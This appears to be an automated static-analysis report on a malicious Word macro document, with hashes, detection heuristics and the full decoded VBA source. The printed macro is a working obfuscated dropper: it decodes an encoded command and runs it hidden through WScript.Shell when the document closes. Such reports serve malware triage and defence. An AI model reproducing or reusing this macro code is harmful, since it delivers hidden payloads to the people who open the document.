Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 91f122e425351652…

MALICIOUS

Office (OOXML)

36.5 KB Created: 2017-10-25 18:34:00 UTC Authoring application: Microsoft Office Word 12.0000 First seen: 2019-10-01
MD5: 1f3383fec72b09050d5433266233ba0c SHA-1: 1b196a21b3146d6711528c27c4be0fc2bdf947b1 SHA-256: 91f122e42535165233ef5657279eadcc15bd90e723a13fb1b51ab9096b6e582d
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is an OOXML document containing VBA macros. The macros utilize WScript.Shell to execute a command, likely to download and run a second-stage payload. The ClamAV heuristic also flags it as a dropper. The specific payload and its destination are not directly discernible from the provided VBA code, leading to an unknown family classification.

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6398382-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6398382-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
      If Len(ametista) < 4774 Then
    CreateObject("WScript.Shell").Run ametista, vbHide * 4
  End If
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      If Len(ametista) < 4774 Then
    CreateObject("WScript.Shell").Run ametista, vbHide * 4
  End If
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/markup-compatibility/2006 In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2010/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2596 bytes
SHA-256: 0f1294ae3021a1eb3666e6538a20f7d299b93bda712adadc92557d560a29eaf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public Function addebito(pinolo As Integer) As String
 etnico = Array("o", "W", "'", " ", "P", ".", "e", "p", "(", "O", ":", "b", "v", "m", "-", "i", ";", "j", "q", "n", "c", "E", "f", ")", "C", "w", "u", "/", "k", "l", "s", "$", "+", "d", "D", "r", "z", "y", "h", "a", "V", "g", "N", "F", "\", "B", "A", ",", "T", "t", "S", "?", "=", "x")
 Dim coppia As Integer
 
 For coppia = LBound(etnico) To UBound(etnico)
   If coppia = pinolo Then
    addebito = etnico(coppia)
   End If
 Next
 
End Function


Public Function funzione(ametista As String)
  If Len(ametista) < 4774 Then
    CreateObject("WScript.Shell").Run ametista, vbHide * 4
  End If
End Function

Sub Document_Close()
 feralo = macinato("070025063530380629290314420021531549031421530620034537073930300314240013133919330308420625140911170620490350373049061305420649050106112429150619492305340025192900393343152906080238494907102727182533001719222617192539113653112039250033151825052000132750502728391939491105293613024703310619121046040434464846033203024437400419050653060223160350493935491404350020063030033106191210460404344648460244374004190506530602160308420625140911170620490350373049061305420649050106112429150619492305340025192900393350493515194108023849490710272718253300171922261719253911365311203925003315182505200013273005073807511533522839193949110223")
 Application.Run "funzione", feralo
End Sub

Function sarto(ByVal viola, ByVal orzata) As String
 
 risata = vbNullString
 polso = Array(viola, orzata)
 
 For finanza = 0 To UBound(polso)
   risata = risata + vbNullString + polso(finanza) + vbNullString
 Next
 
 sarto = risata
End Function

Function macinato(Optional angusto As String, Optional angusto2)
  salasso = scossone(Trim(angusto))
  ovunque = ""

  For coppia = 0 To Len(angusto)
    If (coppia + 1) <= UBound(salasso) Then
    descritto = salasso(coppia + 1)
    mestolo = salasso(coppia)
    esagono = addebito(Int(salasso(coppia) + descritto))
    ovunque = sarto(ovunque, esagono)
    coppia = coppia + 1
    End If
  Next
  
  macinato = ovunque
End Function


Function scossone(disfare As String, Optional trasloco As Integer) As Variant
    scossone = Split(Left(StrConv(disfare, vbUnicode), Len(StrConv(disfare, vbUnicode)) - 1), vbNullChar)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12800 bytes
SHA-256: 1130e69c199ffbaf880a5ee718f619a7575d82233d8e47a56b660a9bdcb92ecd
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.